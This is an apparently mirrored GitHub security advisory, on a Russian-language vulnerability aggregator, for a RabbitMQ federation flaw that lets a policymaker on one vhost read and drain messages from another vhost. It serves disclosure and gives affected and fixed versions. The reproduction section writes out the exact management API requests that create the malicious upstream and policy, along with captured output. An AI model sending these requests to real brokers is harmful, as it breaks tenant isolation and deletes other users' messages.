Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-42pc-678q-v8qj

Опубликовано: 23 июл. 2026
Источник: github
Github: Не прошло ревью
CVSS4: 6

Описание

Federation upstream in RabbitMQ skips vhost authorization allowing cross-vhost message access

Summary

  • What the bug lets you do. A policymaker on one vhost reads and drains messages out of another vhost it has no permission on. With the default ack-mode the source messages are consumed (deleted), not copied.
  • Why that should not work. vhost isolation is RabbitMQ's tenancy boundary. policymaker is documented as scoped to "virtual hosts to which they can log in via AMQP", so reaching an unrelated vhost is outside that authority.
  • What is missing. When a federation-upstream URI is an empty-host ("direct") connection, the validator never checks the creating user against the vhost embedded in that URI.
  • How we know it is a mistake, not a design choice. RabbitMQ's own Shovel plugin runs exactly this check on the same direct-connection primitive (check_vhost_access on the URI's vhost). Federation's equivalent validator skips it.
  • Where it was reproduced. Reproduced live on rabbitmq:4.3.2-management (2026-07-14) with real captured markers below, and source-traced at tag v4.3.2 (a509158b). The vulnerable code is unchanged on main and present long ago.

Attack scenario

Setup. Two vhosts, /attacker and /victim. A low-trust tenant user mallory has the policymaker tag and full permissions on /attacker, and no permissions on /victim.

  • Step 1 — the legitimate boundary holds. mallory tries to reach /victim directly and is refused, over both the management API and AMQP:
GET /api/queues/%2Fvictim/secrets -> {"error":"not_authorised","reason":"User not authorised to access virtual host"} AMQP connect to vhost /victim -> (530) NOT_ALLOWED - access to vhost '/victim' refused for user 'mallory'
  • Step 2 — the working request. As policymaker on /attacker, mallory declares a federation-upstream whose URI is an empty-host (direct) connection to /victim, plus a queue and a policy binding it — all on /attacker, all accepted (HTTP 201):
PUT /api/parameters/federation-upstream/%2Fattacker/drain {"value":{"uri":"amqp:///%2Fvictim"}} PUT /api/queues/%2Fattacker/secrets PUT /api/policies/%2Fattacker/drain-policy {"pattern":"^secrets$","definition":{"federation-upstream":"drain"},"apply-to":"queues"}
  • Step 3 — the payoff. mallory attaches an AMQP consumer to her /attacker/secrets queue. Federation opens amqp:///%2Fvictim as an internal direct connection authenticated as user=none, the dummy backend approves every check, and /victim's messages are pulled into /attacker:
-- consumer receives VICTIM_SECRET_1 / _2 / _3 -- /victim queue "secrets" depth goes 3 -> 0 (default ack-mode on-confirm drains it, not copies)

Net effect. A policymaker scoped to /attacker reads and drains messages from /victim, a vhost it was never granted. Federating a named queue needs the attacker to know or guess that queue's name; the vhost isolation boundary itself is bypassed regardless.

Details

  1. Federation validates the upstream URI without any vhost-access check.
  2. Only a per-vhost policymaker tag is required, checked against the request-path vhost — never the vhost inside the URI value.
  3. The upstream connection params are built straight from the URI, with no user injected.
    • rabbit_federation_upstream.erl:69-71to_params/2 calls amqp_uri:parse(URI, vhost(XorQ)); an empty-host URI yields #amqp_params_direct{virtual_host = <<"/victim">>, username = none}.
    • amqp_uri.erl:107-124 — empty host+port → #amqp_params_direct{virtual_host = VHost} (amqp:///%2Fvictim/victim).
    • amqp_client.hrl:32#amqp_params_direct{} defaults username = none.
  4. The direct connection therefore authenticates as the dummy (no-auth) user, whose access checks are hardcoded true.
    • rabbit_direct.erl:51-52auth_fun({none,_},…) returns rabbit_auth_backend_dummy:user().
    • :187connect1/4 still calls check_vhost_access(User, VHost,…), but User is the dummy identity, so it dispatches to the dummy backend and is a no-op. The guard exists; the no-auth identity defeats it.
    • rabbit_auth_backend_dummy.erl:35-37check_vhost_access/check_resource_access/check_topic_access all hardcoded -> true.
    • Confirmed live: GET /api/connections during the attack shows the federation link's connection into /victim as "user":"none", "protocol":"Direct 0-9-1".
  5. The federation link then runs against the attacker-controlled direct params.

Impact

  • Cross-vhost message read/drain from a per-vhost policymaker, breaking vhost tenancy isolation.
  • Requires only the policymaker tag on one vhost the attacker legitimately controls.

Reproduction

Reproduced on rabbitmq:4.3.2-management (2026-07-14). Run the attached proof-of-concept (Dockerised): bash run.sh brings up the broker, provisions the users, and prints the markers below.

Vhost names have a literal leading slash (/attacker, /victim); %2F in the API paths below is that slash, percent-encoded.

  1. Start the broker; rabbitmq-plugins enable rabbitmq_federation rabbitmq_federation_management. Create vhosts /attacker and /victim.

  2. Create user mallory (tag policymaker only); grant full perms on /attacker and none on /victim.

  3. As an operator, in /victim declare a durable queue secrets and publish VICTIM_SECRET_1/2/3 (e.g. PUT /api/queues/%2Fvictim/secrets {"durable":true} then POST .../publish). Depth is now 3.

  4. As mallory, confirm /victim is refused directly:

GET /api/queues/%2Fvictim/secrets -> {"error":"not_authorised","reason":"User not authorised to access virtual host"} AMQP connect /victim -> (530) NOT_ALLOWED - access to vhost '/victim' refused for user 'mallory'
  1. As mallory, three calls on /attacker, each returns HTTP 201:
PUT /api/parameters/federation-upstream/%2Fattacker/drain {"value":{"uri":"amqp:///%2Fvictim"}} PUT /api/queues/%2Fattacker/secrets {"durable":true} PUT /api/policies/%2Fattacker/drain-policy {"pattern":"^secrets$","definition":{"federation-upstream":"drain"},"apply-to":"queues"}
  1. As mallory, attach an AMQP consumer to /attacker/secrets. Queue federation pulls from the upstream only once a downstream consumer is attached, so this is what triggers the drain. Observed markers:
RECEIVED_MESSAGE: VICTIM_SECRET_1 RECEIVED_MESSAGE: VICTIM_SECRET_2 RECEIVED_MESSAGE: VICTIM_SECRET_3 /victim "secrets" depth after: {"messages":0} -- drained from 3 to 0 broker log: Federation queue 'secrets' in vhost '/attacker' connected to queue 'secrets' in vhost '/victim' on amqp:///%2Fvictim GET /api/connections: the link into /victim shows "user":"none", "protocol":"Direct 0-9-1"

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.3.0, < 4.3.3

4.3.3

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.2.0, < 4.2.9

4.2.9

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.1.0, < 4.1.14

4.1.14

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.0.0, < 4.0.24

4.0.24

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 3.13.0, < 3.13.18

3.13.18

6 Medium

CVSS4

Дефекты

CWE-862

6 Medium

CVSS4

Дефекты

CWE-862